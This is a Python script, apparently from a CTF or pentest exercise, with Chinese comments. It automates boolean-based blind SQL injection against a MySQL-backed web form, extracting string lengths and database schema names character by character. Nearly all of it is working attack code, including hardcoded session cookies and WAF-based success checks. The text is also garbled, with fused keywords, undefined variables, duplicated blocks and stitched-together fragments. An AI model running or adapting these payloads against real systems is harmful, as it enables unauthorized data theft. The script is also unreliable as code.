# ================== 核心函数 ================== defcheck(raw_payload): """ raw_payload: 原始 SQL 注入 payload，例如: "amiya'&&1=1#" 函数会自动 URL 编码，并以 raw body 形式发送 """ # 手动 URL 编码，保留 %26 %23 等结构 encoded = raw_payload.replace('&', '%26').replace('#', '%23').replace(' ', '%20') # 注意：单引号 ' 不需要编码，在 form body 中是安全的 body = f"name={encoded}"
try: r = requests.post(URL, headers=HEADERS, data=body, verify=False, timeout=10) return'"message":"Found"'in r.text except Exception as e: print(f"[!] Error: {e}") returnFalse
# ================== 辅助提取函数 ================== defget_length(query): print(f"[*] Guessing length of: {query}") for i inrange(1, 50): payload = f"amiya'&&({query})={i}#" if check(payload): print(f"[+] Length = {i}") return i return0
defget_string(query, length): result = "" charset = string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+[]:;<>?,./|\\" print(f"[*] Extracting string (length={length})...") for i inrange(1, length + 1): found = False for c in charset: payload = f"amiya'&&ORD(SUBSTR(({query}),{i},1))={ord(c)}#" if check(payload): result += c print(f"[+] Current: {result}") found = True break ifnot found: # 尝试空格等 payload = f"amiya'&&ORD(SUBSTR(({query}),{i},1))=32#" if check(payload): result += ' ' print(f"[+] Current: {result}") else: result += '?' print(f"[!] Unknown char at position {i}") return result
# ================== 主流程 ================== if __name__ == "__main__": print("[+] Starting Boolean Blind SQLi (MySQL with && and #)...")
# 1. 验证注入点 ifnot check("amiya'&&1=1#"): print("[-] True payload failed.") exit() if check("amiya'&&1=2#"): print("[-] False payload returned true. Logic may be inverted.") exit() print("[+] Injection confirmed!")
# Cookie（可自行替换） cookies = { "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1759898965,1760083024,1760179034,1760370320", "chkphone": "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O" }
# 结果存储 result = ""
# 遍历第1到第50个字符 for i in range(1, 51): found = False for asc in range(1, 129): # ASCII 1~128 # payload 直接插入字符位置与ASCII值 payload = f"name=amiya'%26%26(select(ascii(mid((select(group_concat(schema_name))from(information_schema.schemata))from({i})))={asc}))#"
try: r = requests.post(url, headers=headers, cookies=cookies, data=payload, verify=False, timeout=5) except Exception as e: print(f"[!] 网络错误: {e}") continue
# 简单的回显判断逻辑 if "error" not in r.text.lower() and "waf" not in r.text.lower(): print(f"[+] 位置 {i} -> 字符 {chr(asc)} (ASCII={asc})") result += chr(asc) found = True break
cookies = { "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1759898965,1760083024,1760179034,1760370320", "chkphone": "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O" }
def extract_data(payload_template, max_len=100): """ 通用盲注提取函数 :param payload_template: 包含 {pos} 和 {ascii} 占位符的 payload 模板 :param max_len: 最大尝试长度 :return: 提取到的字符串 """ result = "" for i in range(1, max_len + 1): found = False for asc in range(1, 128): # ASCII 1~127（128 不可打印） payload = payload_template.format(pos=i, ascii=asc) data = f"name={payload}" try: r = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False, timeout=5) except Exception as e: print(f"[!] 网络错误 (位置 {i}): {e}") continue
# 根据你的判断逻辑：无 error 且无 waf 视为成功 if "error" not in r.text.lower() and "waf" not in r.text.lower(): char = chr(asc) print(f"[+] 位置 {i} -> '{char}' (ASCII={asc})") result += char found = True break
if not found: print(f"[-] 位置 {i} 未匹配到字符，结束提取。") break
